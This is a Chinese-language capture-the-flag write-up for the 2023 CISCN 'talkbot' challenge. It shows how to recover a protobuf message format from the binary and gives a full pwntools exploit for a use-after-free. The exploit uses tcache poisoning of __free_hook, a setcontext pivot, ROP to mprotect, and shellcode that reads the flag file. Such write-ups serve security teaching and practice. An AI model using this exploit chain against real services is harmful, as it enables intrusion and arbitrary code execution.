2023 ciscn talkbot
protobuf
要如何识别出这个加密是一个 protobuf 呢?有如下几种办法
关键字符串/常数
搜索字符串,可以在 github 上找到仓库
actual_length_size == length_size_min + 1
rv->descriptor != NULL
28AAEEF9
标志性结构体
如果之前有经验的话,看到这个结构体就可以知道是 protobuf 了
protobuf 每一个字段都有一个 ProtobufCFieldDescriptor
结构体定义。可以从 protobuf-c.h 用 ida 导入头文件中的结构体,在 data 段找到对应的部分(把原本的东西 undefine 先)右键 structure 就可以设置结构体了。效果是这样:
根据识别出来的结构体可以写出 protobuf 定义
syntax = "proto2";
message msg {
required sint64 actionid = 1;
required sint64 msgidx = 2;
required sint64 msgsize = 3;
required bytes msgcontent = 4;
}
finger
可以识别出来函数名,protobuf_message_check
复现
漏洞点在 delete 函数,直接用 tcache poisoning 改 freehook 就 ok
free(*((void **)&addr_list + a1));
result = &input[a1];
input[a1] = 0;
由于 ban 了 execve,所以用 freehook -> gadget -> setcontext -> rop_get_sc -> orw。
gadget 这么找:
ROPgadget --binary libc-2.31.so --only 'mov|call' | grep 'rdi' | grep 'rdx'
0x0000000000151990 : mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
setcontext 长这样:
故构造如下:
0x8 user_data_pointer # 当前chunk的存放数据的指针
0x18 gadget # 给 rdx 赋值的 gadget
0x20 setcontext+61 # 新版本里的 setcontext 用的寄存器是 rdx
0xa0 rsp # rop 链的位置
0xa8 rcx # 下一步要执行的地址
exp
from pwn import *
import try_pb2
elf_path = "./pwn"
libc_path = "./libc-2.31.so"
ip = "121.40.89.206"
port = "20111"
content = 1
context(os='linux',arch='amd64',log_level='debug')
os.system('tmux set mouse on')
if content == 1:
context.terminal = ['tmux','splitw','-h']
p = process(elf_path)
# gdb.attach(p)
# p = gdb.debug(elf_path)
# pause()
else:
p = remote(ip, port)
r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
shell = lambda : p.interactive()
def leak(name, addr): return log.success('{} = {:#x}'.format(name, addr))
# # ----------------------------------------------------------
def add(index,size,content):
msginfo1 = try_pb2.msg()
msginfo1.actionid = 1
msginfo1.msgidx = index
msginfo1.msgsize = size
msginfo1.msgcontent = content
payload = msginfo1.SerializeToString()
sa(b'now: \n', payload)
def delete(index):
msginfo2 = try_pb2.msg()
msginfo2.actionid = 4
msginfo2.msgidx = index
msginfo2.msgsize = 0
msginfo2.msgcontent = b''
payload = msginfo2.SerializeToString()
sa(b'now: \n', payload)
def edit(index,content):
msginfo3 = try_pb2.msg()
msginfo3.actionid = 2
msginfo3.msgidx = index
msginfo3.msgsize = 0
msginfo3.msgcontent = content
payload = msginfo3.SerializeToString()
sa(b'now: \n', payload)
def show(index):
msginfo1 = try_pb2.msg()
msginfo1.actionid = 3
msginfo1.msgidx = index
msginfo1.msgsize = 0
msginfo1.msgcontent = b''
payload = msginfo1.SerializeToString()
sa(b'now: \n', payload)
# libc_base
for i in range(10):
add(i, 0xf0, b'a')
for i in range(8):
delete(i)
show(7)
ru(b'\x7f\x00\x00')
malloc_hook = u64(rx(8)) -96 - 0x10
libc = ELF(libc_path)
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
# tcache poisoning
edit(6, p64(free_hook-0x18))
add(10, 0xf0, b'a')
# get_sc
rdi = 0x23b6a + libc_base
rdx = 0x142c92 + libc_base
rsi = 0x2601f + libc_base
addr = 0xb000 + libc_base
read = libc_base + libc.sym['read']
mprotect = libc_base + libc.sym['mprotect']
get_sc = flat(
addr,
rsi,
0x1000,
rdx,
7,
mprotect,
rdi,
0,
rsi,
addr,
rdx,
0x1000,
read,
addr
)
# setcontext
setcontext_61 = libc.sym['setcontext'] + 61 + libc_base
gadget = 0x151990 + libc_base
hack = flat(
{
0x8: free_hook - 0x18,
0x18: gadget,
0x20: setcontext_61,
0x28: get_sc,
0xa0: free_hook - 0x18 + 0x28,
0xa8: rdi
})
add(11, 0xf0, hack)
delete(11)
orw = b'hflagH\x89\xe71\xf6j\x02X\x0f\x05H\x89\xc7H\x89\xe6jZZ1\xc0\x0f\x05j\x01_H\x89\xe6j\x01X\x0f\x05'
sl(orw)
p.interactive()